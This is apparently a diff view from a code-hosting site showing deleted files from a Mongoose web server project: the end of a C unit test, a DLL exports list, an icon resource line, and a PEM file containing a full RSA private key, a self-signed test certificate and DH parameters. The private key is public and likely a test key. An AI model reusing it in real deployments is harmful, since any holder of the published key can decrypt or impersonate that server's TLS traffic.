|
|
||||||
ASSERT(mg_stat("mongoose.c", &st) == 0);
|
|
||||||
ASSERT(st.size == ftell(fp));
|
|
||||||
ASSERT(!strcmp(ri.request_method, "HTTP/1.1"));
|
|
||||||
|
|
||||||
remove(tmp_file);
|
|
||||||
mg_stop(ctx);
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(void) {
|
|
||||||
test_match_prefix();
|
|
||||||
test_remove_double_dots();
|
|
||||||
test_should_keep_alive();
|
|
||||||
test_parse_http_request();
|
|
||||||
test_mg_fetch();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
LIBRARY
|
|
||||||
EXPORTS
|
|
||||||
mg_start
|
|
||||||
mg_stop
|
|
||||||
mg_read
|
|
||||||
mg_write
|
|
||||||
mg_printf
|
|
||||||
mg_get_header
|
|
||||||
mg_get_var
|
|
||||||
mg_get_cookie
|
|
||||||
mg_get_option
|
|
||||||
mg_get_valid_option_names
|
|
||||||
mg_version
|
|
||||||
mg_modify_passwords_file
|
|
||||||
mg_md5
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
200 ICON DISCARDABLE "systray.ico"
|
|
||||||
@@ -1,50 +0,0 @@
|
|||||||
-----BEGIN RSA PRIVATE KEY-----
|
|
||||||
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
|
|
||||||
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
|
|
||||||
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
|
|
||||||
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
|
|
||||||
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
|
|
||||||
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
|
|
||||||
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
|
|
||||||
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
|
|
||||||
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
|
|
||||||
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
|
|
||||||
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
|
|
||||||
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
|
|
||||||
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
|
|
||||||
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
|
|
||||||
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
|
|
||||||
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
|
|
||||||
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
|
|
||||||
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
|
|
||||||
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
|
|
||||||
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
|
|
||||||
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
|
|
||||||
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
|
|
||||||
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
|
|
||||||
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
|
|
||||||
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
|
|
||||||
-----END RSA PRIVATE KEY-----
|
|
||||||
-----BEGIN CERTIFICATE-----
|
|
||||||
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
|
|
||||||
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
|
|
||||||
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
|
|
||||||
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
|
|
||||||
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
|
|
||||||
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
|
|
||||||
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
|
|
||||||
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
|
|
||||||
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
|
|
||||||
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
|
|
||||||
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
|
|
||||||
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
|
|
||||||
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
|
|
||||||
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
|
|
||||||
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
|
|
||||||
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
|
|
||||||
SEGI4JSxV56lYg==
|
|
||||||
-----END CERTIFICATE-----
|
|
||||||
-----BEGIN DH PARAMETERS-----
|
|
||||||
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
|
|
||||||
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
|
|
||||||
-----END DH PARAMETERS-----
|
|
||||||
Binary file not shown.
|
Before Width: | Height: | Size: 1.1 KiB |
Reference in new issue
Block a user